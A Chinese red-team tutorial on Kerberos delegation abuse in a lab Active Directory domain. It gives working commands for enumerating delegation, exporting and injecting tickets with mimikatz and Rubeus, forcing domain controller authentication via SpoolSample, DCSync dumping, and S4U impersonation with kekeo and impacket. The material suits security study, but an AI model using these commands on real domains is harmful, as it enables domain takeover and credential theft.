本篇文章主要是对域渗透中的委派利用手法进行总结。
域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。需要注意的是在域内可以委派的账户有两种,一种是 主机账户 ,另一种是 服务账户 (域用户通过注册 SPN 也可以成为服务账号)。
在域中只有服务账户和主机账户(即机器账户,一个普通域用户默认最多可以创建十个机器账户)才具有委派属性,也就说才能接受委派。
Kerberos 委派主要分为三种:
非约束委派 (Unconstrained Delegation)
约束委派 (Constrained Delegation)
基于资源的约束委派 (Resource-Based Constrained Delegation)
非约束委派和约束委派的流程,有兴趣的师傅可以去看看微软的手册。
下面简单介绍下 Kerberos 的各类委派, 如何配置 , 如何发现 , 实战场景中如何利用 。
以下是本地操作环境:
-
域:
redteam.com
-
域控:
- 主域控:
DC
系统:Windows Server 2016
IP:192.168.133.2
- 主域控:
-
域内主机:
Win-2008
IP:192.168.133.3
本地管理员:user1
Win-2016
IP:192.168.133.2
本地管理员:Administrator
-
域用户:
- 域管:
redteam\administrator
- 普通域用户:
redteam\user1
- 配置委派的域用户和服务账号:
redteam\test
- 域管:
委派前提#
需要被委派的账户不能被设置为敏感账号,如下图所示
非约束委派#
简介 && 配置方法#
对于非约束性委派(Unconstrained Delegation),服务账号可以获取被委派用户的 TGT,并将 TGT 缓存到 lsass 进程中,从而服务账号可以使用该 TGT,模拟用户访问任何服务。
非约束委派的设置需要SeEnableDelegation
特权,该特权通常仅授予域管理员。配置了非约束委派的用户的userAccountControl
属性有个 FLAG 位,TRUSTED_FOR_DELEGATION
,对应是 0x80000 ,也就是 524288 。可以委派任何服务即为非约束委派。默认域内的域控均为非约束委派,可用于跨域(关于标志位值可参考:decoding-ad-useraccountcontrol-value)
打开 "Active Directory 用户和计算机 -> 查看 -> 高级功能",然后再查看用户属性即可看到(adsiedit.msc
进 ADSI 编辑器也可以看到)
这里值为 WORKSTATION_TRUST_ACCOUNT 和 TRUSTED_FOR_DELEGATION,所以为 0x81000
非约束委派流程#
非约束委派:当 user
访问 service1
时,如果 service1
的服务账号开启了 unconstrained delegation
(非约束委派),则当 user
访问 service1
时会将 user
的 TGT
发送给 service1
并保存在内存中以备下次重用,然后 service1
就可以利用这张TGT
以 user
的身份去访问域内的任何服务(任何服务是指user
能访问的服务)
https://www.cnblogs.com/zpchcbd/p/12939246.html
- 用户发送 KRB_AS_REQ 请求 TGT(我们称为 TGT1)
- KDC 在 KRB_AS_REP 消息中返回 TGT1
- 用户再通过 TGT1 请求可转发的 TGT(我们称为 TGT2)
- KDC 在 KRB_TGS_REP 消息中返回可转发的 TGT2**(票据属性中带有可转发的标记 Forwarded)**
- 用户使用 TGT1 向 TGS 申请访问 Service1 的 ST 服务票据
- TGS 返回给用户一个 ST 服务票据
- 用户发送 KRB_AP_REQ 请求至 Service1,这个请求中包含了 TGT1 和 ST 服务票据、TGT2、TGT2 的 Session key**(这里 TGT2 和 TGT2 的 Session key 会被储存到 Service1 中,以便后续使用)**
- Service1 使用用户的 TGT2 通过 KRB_TGS_REQ 发送给 KDC,以用户的名义请求能够访问 Service2 的票据 ST2
- KDC 在 KRB_TGS_REP 消息中返回 Service2 到 Service1 的票据 ST2
- Service1 以客户的名义用 ST2 发送 KRB_AP_REQ 请求
- Service2 响应步骤 10 中 Service1 的请求
- Service1 响应步骤 7 中用户的请求
- 在这个过程中的 TGT 转发机制,没有限制 Service1 对 TGT2 的使用,也就是说 Service1 可以通过 TGT2 来请求任意服务
- KDC 返回步骤 13 中请求的票据,15 和 16 即为 Service1 通过模拟用户来访问其他服务
大致流程是:用户请求 Service1,用户向 KDC 申请了访问 Service1 的 ST 服务票据和带有可转发标记的 TGT 票据,会一起发送给 Service1,然后会被缓存到 lsass 中,后续 Service 就能使用那张可转发的 TGT 票据,以用户的身份申请其他任意服务的 ST 票据。对攻击者来说,如果使用 DC 或域管去访问 Service1,那么就会在 lsass 内存中留下票据,就相当于直接拿下了域控。
查找域中配置非约束委派的主机 / 服务账户
查找域中配置非约束委派的主机 / 服务账户#
AdFind(可在域外查询)#
普通域用户执行:
# 查询域内配置非约束性委派的主机
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
# 查询域内配置非约束性委派的服务账号
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
注:默认域控是配置了非约束性委派的,所以查出来显示具有两个配置了非约束委派的计算机。
域外可指定域普通用户账密进行查找:
#AdFind.exe -h 域控IP -u 域普通用户名 -up "密码" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查询域中配置非约束委派的主机
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查询域中配置非约束委派的服务账户
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com"" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
SharpLDAPSearch#
下载地址:SharpLDAPSearch
可以用 ldap 查询筛选,普通域用户下执行:
查找域中配置非约束委派的主机:
SharpLDAPSearch.exe "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" "samaccountname"
查找域中配置非约束委派的用户:
SharpLDAPSearch.exe "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" "samaccountname"
使用 PowerView.ps1#
PowerView 存在两个版本,有些功能只在 dev 版本中支持,但是我试了两个版本都不能直接查非约束委派的服务账户,所以这里用 LDAP 查询筛选
普通域用户下执行:
#查询域中配置非约束委派的主机,下面俩一样
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetComputer -Domain redteam.com -Unconstrained | select samaccountname}"
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Domain redteam.com -Unconstrained | select samaccountname}"
#查询域中配置非约束委派的服务账户
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainUser -Domain redteam.com -LDAPFilter userAccountControl:1.2.840.113556.1.4.803:=524288 | select name}"
SharpView.exe#
用法和 PowerView.ps1 一样,他的查询服务账户好像还是有点问题,所以这里还是用 LDAP 查询
#查询域中配置非约束委派的主机
SharpView.exe Get-NetComputer -Domain redteam.com -Unconstrained -Properties samaccountname
#查询域中配置非约束委派的服务账户
SharpView.exe Get-DomainUser -Domain redteam.com -LDAPFilter userAccountControl:1.2.840.113556.1.4.803:=524288 -Properties samaccountname
非约束性委派攻击利用#
https://y4er.com/post/kerberos-unconstrained-delegation/
https://www.freebuf.com/articles/web/303666.html
用户 user 去访问服务 service,如果服务 service 的服务账户开启了非约束性委派,那么当用户 user 访问服务 service 的时候会将用户 user 的 TGT 发送给服务 service 并保存在内存中以备下次重用,所以服务 service 能够利用用户 user 的身份去访问用户 user 能够访问的任意服务。
两种攻击方式,一种是诱使域管用户(相当于是域内钓鱼)来访问配置了非约束性委派的主机或服务,二是结合打印机漏洞让域管用户强制回连以缓存 TGT。
利用场景#
当我们在域内拿到一台配置了非约束委派的主机后,就可以使用 mimikatz 导出所有票据,若是有其他用户访问过该主机,那么我们就可以通过 ptt 获取该用户权限。
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
kerberos::ptt
psexec64.exe \\DC2012.0ne.test -accepteula -s cmd
当然我们也可以诱导域管访问该主机,例如通过给管理员发诱饵文件修改 Desktop.ini,或是 outlook 等等。详情可参考daiker 师傅的发起 NTLM 请求。
域管在域控上点击此文件夹是就会访问 win7,导出域管的 TGT,ptt,psexec 域控。
利用前提#
- 需要非约束委派账户的主机本地管理员权限(需要从内存导出票据)
- 查找非约束委派时需要一个域账户
模拟域管去访问非约束性委派主机#
1. 以域管账户访问 WIN-2008 机器(主要是为了生成 TGT)。
模拟域管用户 yg1
(只要是域管用户,不一定在域控)远程访问非约束性委派主机机 Win-2008
, Win-2008
已获得本地管理员权限。常见可利用钓鱼的连接方式可以是 MSSQL 或 IIS,这里演示域管用户 直接 IPC 连接 Win-2008
这时候 Win-2008
机器就已经有了域管 yg1
的 TGT 票据,可以用 mimikatz 导出 lsass 内存中所有票据。
3. 使用 mimikatz 将票据导入内存中
#导入票据
mimikatz.exe "kerberos::ptt [0;7a739][email protected]" "exit"
#查看票据
#也可mimikatz中查看:kerberos::list
klist
dcsync 导出密码时也能获得访问域控 LDAP 的 ST 票据,可访问域控,一切正常:
mimikatz.exe "lsadump::dcsync /domain:redteam.com /all /csv" "exit" > ntds.txt
非约束委派 + Spooler 利用#
在实战中,被动的非约束委派的利用需要和目标用户交互比较鸡肋。因此可以利用非约束委派 + Spooler 打印机服务可以强制指定的主机进行连接。
非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 DC
强制访问已控的具有本地管理员权限的非约束性委派机器 Win-2008
,从而拿到域管理员的 TGT,进而接管域控
利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification (Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。
条件:目标机器(一般选域控)上需要开启 Print Spooler 服务(默认开启)
https://www.cxyzjd.com/article/a3320315/106511098
https://www.cnblogs.com/nice0e3/p/15875685.html#powerview
首先利用Rubeus在 Win-2008
上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器 DC
的登录信息
已编译的 Rubeus 下载:https://oss.zjun.info/file/Rubeus.exe
版本:https://github.com/GhostPack/Rubeus/releases/tag/1.6.4
1. 使用 Rubeus 监听来自 DC 机器的 4624 登录日志 **(需要本地管理员权限)**
如果不能 cmd 不能最大化窗口,可以先运行 wmic,然后再最大化窗口,之后在 exit 回到 cmd 下
# /interval:1 设置监听间隔1秒
# /filteruser 监听域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
Rubeus.exe monitor /interval:1 /filteruser:DC$
2. 利用打印服务强制使 DC 访问 WIN-7 认证(可以不用管理员权限)
再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行
已编译的 SpoolSample 下载:https://oss.zjun.info/file/SpoolSample.exe
SpoolSample.exe DC WIN-7
WIN-7 机器上接收到 TGT 票据
3. 导出 & 注入票据
如果使用 mimikatz 注入票据需要先进行一次转换
#使用mimikatz
##PowerShell下执行
[IO.File]::WriteAllBytes(".\ticket.kirbi", [Convert]::FromBase64String("去掉换行后的Base64编码的票据"))
##PTT
mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
#使用Rubeus
##可直接使用base64的TGT进行PTT
Rubeus.exe ptt /ticket:去掉换行后的Base64编码的票据
注:这里获得的是域控机器账户的 TGT 票据
接下来解密 NTLM hash 后可以直接登录域控,解不开也可以利用 krbtgt 的 NTLM hash 用于做黄金票据权限维持,可以参考:https://blog.zjun.info/2020/kerberos-protocol-to-ticket-forgery.html#cl-8
约束委派#
简介 & 配置方法#
由于非约束委派的不安全性,微软在 Windows Server 2003 中发布了约束性委派(Constrained Delegation),还扩充了 Kerberos 协议,添加了 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy ) 子协议,服务账号只能获取用户的 TGS,从而只能模拟用户访问特定的服务。配置了约束委派的账户的msDS-AllowedToDelegateTo
属性会指定对哪个进行委派。相较于非约束委派**,约束委派最大的区别也就是配置的时候选择某个特定的服务,而不是所有服务。** 约束委派的设置同样需要SeEnableDelegation
特权,该特权通常仅授予域管理员
当服务账号或者主机被设置为约束性委派时,其userAccountControl 属性包含TRUSTED_TO_AUTH_FOR_DELEGATION
,且msDS-AllowedToDelegateTo 属性会包含被约束的服务。
点击 "添加 -> 选择委派的计算机 -> 选择委派的服务" 即可新增。
小提示#
如果我们可以攻破配置约束委派的服务账户 (获取密码 / Hash),我们就可以模拟域内任意用户 (如 domain\administrator) 并代表其获得对已配置服务的访问权限(获取 TGS 票据)。
此外,我们不仅可以访问约束委派配置中用户可以模拟的服务, 还可以访问使用与模拟帐户权限允许的任何服务。 (因为未检查 SPN,只检查权限)。比如,如果我们能够访问 CIFS 服务,那么同样有权限访问 HOST 服务。注意如果我们有权限访问到 DC 的 LDAP 服务,则有足够的权限去执行 DCSync。
如果 AD 中将用户标记为 “帐户敏感且无法委派”,则无法模拟其身份。
userAccountControl 属性:
msDS-AllowedToDelegateTo 属性:
注册个用户为服务账号方便后面复现(域管操作)
#创建个域用户
net user SqlServer S123456@#!1 /domain /add
#注册SPN,将SqlServer用户注册为服务账号
setspn -U -A SQLServer/WIN2008.redteam.com:1433/MSSQL SqlServer
#查找指定SqlServer用户注册的SPN
setspn -L SqlServer
然后在域控中将 SqlServer 用户配置为约束性委派,方便演示直接配置为域控的 CIFS 协议
约束委派流程#
- 用户向 Service1 发起请求
- Service1 通过 S4U2self 模拟用户向 KDC 请求获得 Service1 自身服务的可转发的 ST 服务票据
- KDC 返回给 Service1 一个用于 Service1 自身服务的带有可转发标志的 ST 服务票据(这里假设称为 ST1),并且 Service1 用这个 ST1 完成和用户的验证过程。
- Service1 在步骤 3 使用模拟用户申请的 ST1 票据(带有 Forwardable 标记)完成与用户的验证,然后响应用户。
- 用户再次向 Service1 发起请求。(这里有两点:Service1 已经验证通过,并且有一个有效的带有 Forwardable 标记的 TGT、Service1 有从用户请求 Service1 的带有 Forwardable 标记的 ST1)
- 然后 Service1 通过 S4U2proxy 代表用户用 ST1(带有 Forwardable 标记,在 S4U2SELF 阶段获得的 TGS 票据,会放在 AddtionTicket 字段中)向 KDC 请求一个用于认证 Service2 的 ST(这里假设称为 ST2)。通过 ST1 中的 cname(client name)和 crealm(client realm)字段标识用户。
- KDC 在接收到步骤 6 中 Service1 的请求之后,进行验证,然后返回 Service2 的服务票据 ST2(带有 Forwardable 标记)
- Service1 代表用户使用 ST2 请求 Service2。
- Service2 响应 Service1 的请求。
- Service1 响应用户的请求。
从攻击者的角度来看就是如果攻击者控制了 Service1 的账号,并且 Service1 配置了到 Service2 服务的约束性委派。则攻击者可以利用 Service1 以 administrator 身份 Service2。
查找域中配置约束委派的主机 / 服务账户#
AdFind(可在域外查询)#
普通域用户执行:
#查找域中配置约束委派的主机及服务
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查找域中配置约束委派的服务账户及服务
AdFind.exe -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
域外可指定域普通用户账密进行查找:
#AdFind.exe -h 域控IP -u 域普通用户名 -up "密码" -b "DC=xx,DC=xx" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查询域中配置约束委派的主机及服务
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查询域中配置约束委派的服务账户及服务
AdFind.exe -h 192.168.133.2 -u redteam\user1 -up "1QAZ2wsx" -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
配置了约束委派的机器
这是配置了约束委派的服务账户。
SharpLDAPSearch#
下载地址:SharpLDAPSearch
可以用 ldap 查询筛选,普通域用户下执行:
查找域中配置约束委派的主机
SharpLDAPSearch.exe "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" "samaccountname"
查找域中配置约束委派的服务账户
SharpLDAPSearch.exe "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" "samaccountname"
PowerView.ps1#
#查找域中配置约束委派的主机
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Domain redteam.com -TrustedToAuth -Properties distinguishedname,samaccountname,useraccountcontrol,msds-allowedtodelegateto|fl}"
#查找域中配置约束委派的服务账户
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainUser -Domain redteam.com –TrustedToAuth -Properties distinguishedname,samaccountname,useraccountcontrol,msds-allowedtodelegateto|fl}"
SharpView.exe#
#查找域中配置约束委派的主机
SharpView.exe Get-DomainComputer -Domain redteam.com -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
#查找域中配置约束委派的服务账户
SharpView.exe Get-DomainUser -Domain redteam.com -LDAPFilter msds-allowedtodelegateto=* -Properties distinguishedname,samaccountname,useraccountcontrol,msds-allowedtodelegateto
约束性委派攻击利用#
https://blog.csdn.net/qq_36119192/article/details/104538160
https://www.redteaming.top/2020/02/11 / 域渗透 ——Kerberos 委派攻击 /
域外机器也执行
服务用户只能获取某个用户(或主机)的服务的 ST,所以只能模拟用户访问特定的服务,是无法获取用户的 TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者 NTLM Hash
,我们就可以伪造 S4U 请求,进而伪装成服务用户以任意账户的权限申请访问指定服务的 ST。
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的 TGT。
注:
在 Windows 系统中,普通用户的属性中没有委派(Delegation)这个选项卡,只有服务账号、主机账号才有。
服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如 MS SQL Server在安装时,会在域内自动注册服务账号 SqlServiceAccount,这类账号不能用于交互式登录。
使用 kekeo#
1. 使用 kekeo 申请 TGT 票据
#密码明文方式
tgt::ask /user:test /domain:redteam.com /password:P@ssw0rd
kekeo.exe "tgt::ask /user:SqlServer /domain:redteam.com /password:S123456@#!1" "exit"
#密码NTLM方式
kekeo.exe "tgt::ask /user:SqlServer /domain:redteam.com /NTLM:77e3527e2a110b7e30659749718f54f9" "exit"
2. 请求域控 CISF 服务的 ST 票据
使用这张 TGT 通过伪造 S4U 请求以 administrator
用户身份请求访问 DC CIFS
的 ST
#需要使用上面申请的TGT票据
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/dc.redteam.com" "exit"
结果生成了两张 ST 票据,一张是通过 S4U2Self 请求 SqlServer 自身的 ST 票据,一张是通过 S4U2Proxy 获得的请求 CIFS 的 ST 票据
然后用 域内机器上 mimikatz 将 ST2 导入当前会话,即可成功访问域控 DC
mimikatz.exe "kerberos::ptt [email protected]@[email protected]" "exit"
成功访问到域控资源。
如果不知道服务用户明文的情况下,kekeo 同样也支持使用 NTLM Hash,在请求服务用户的 TGT 那步直接把 /password
改成 /NTLM
即可
# kekeo
tgt::ask /user:test /domain:zjun.com /NTLM:e19ccf75ee54e06b06a5907af13cef42
如果不知道服务用户的明文和 NTLM Hash,但是已有服务用户登陆的主机的本地管理员权限,可以用 mimikatz 直接从内存中把服务用户的 TGT 导出
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
服务用户的 TGT 导出后,就可以通过伪造 S4U 请求以 administrator
用户身份请求访问 P-DC CIFS
的 ST
# kekeo
tgs::s4u /tgt:[0;8f613]-2-0-40e10000-test@krbtgt-ZJUN.COM.kirbi /user:Administrator@zjun
使用 Rubeus#
和上面的流程一样,就不贴图了
#因为Rubeus不支持明文密码,所以先转换成hash
Rubeus.exe hash /password:S123456@#!1
#1.申请TGT票据,获得base64格式的TGT
Rubeus.exe asktgt /user:SqlServer /rc4:77E3527E2A110B7E30659749718F54F9 /domain:redteam.com
#2.powershell下转换为正常格式
[IO.File]::WriteAllBytes(".\ticket.kirbi", [Convert]::FromBase64String("去掉换行后的base64"))
#3.请求域控CISF服务的ST票据并注入
Rubeus.exe s4u /ticket:ticket.kirbi /impersonateuser:administrator /msdsspn:cifs/dc.redteam.com /ptt
一步到位:
Rubeus.exe s4u /user:SqlServer /rc4:77E3527E2A110B7E30659749718F54F9 /impersonateuser:administrator /msdsspn:cifs/dc.redteam.com /ptt
使用 impacket 包#
执行命令的话建议选择 impacket 包,用 mimikatz 进行 ptc 的话也是用不了 impacket 包的如 smbexec 工具执行命令的,需要指定 KRB5CCNAME
#1. 请求访问域控CIFS的ST票据
#impersonate:伪造用户
#spn:要委派的服务的spn
#dc-ip:域控ip
python3 getST.py -dc-ip 172.16.1.1 -impersonate administrator bean/SqlServer:S123456@#!1 -spn cifs/dc.bean.testlab
#2. 导入cache
##2.1 Windows下
set KRB5CCNAME=administrator.ccache
##2.2 Linux下
export KRB5CCNAME=administrator.ccache
#3. 拿到域控权限
python3 smbexec.py -no-pass -k dc.bean.testlab
基于资源的约束委派太多了,日后在更。
总结结束。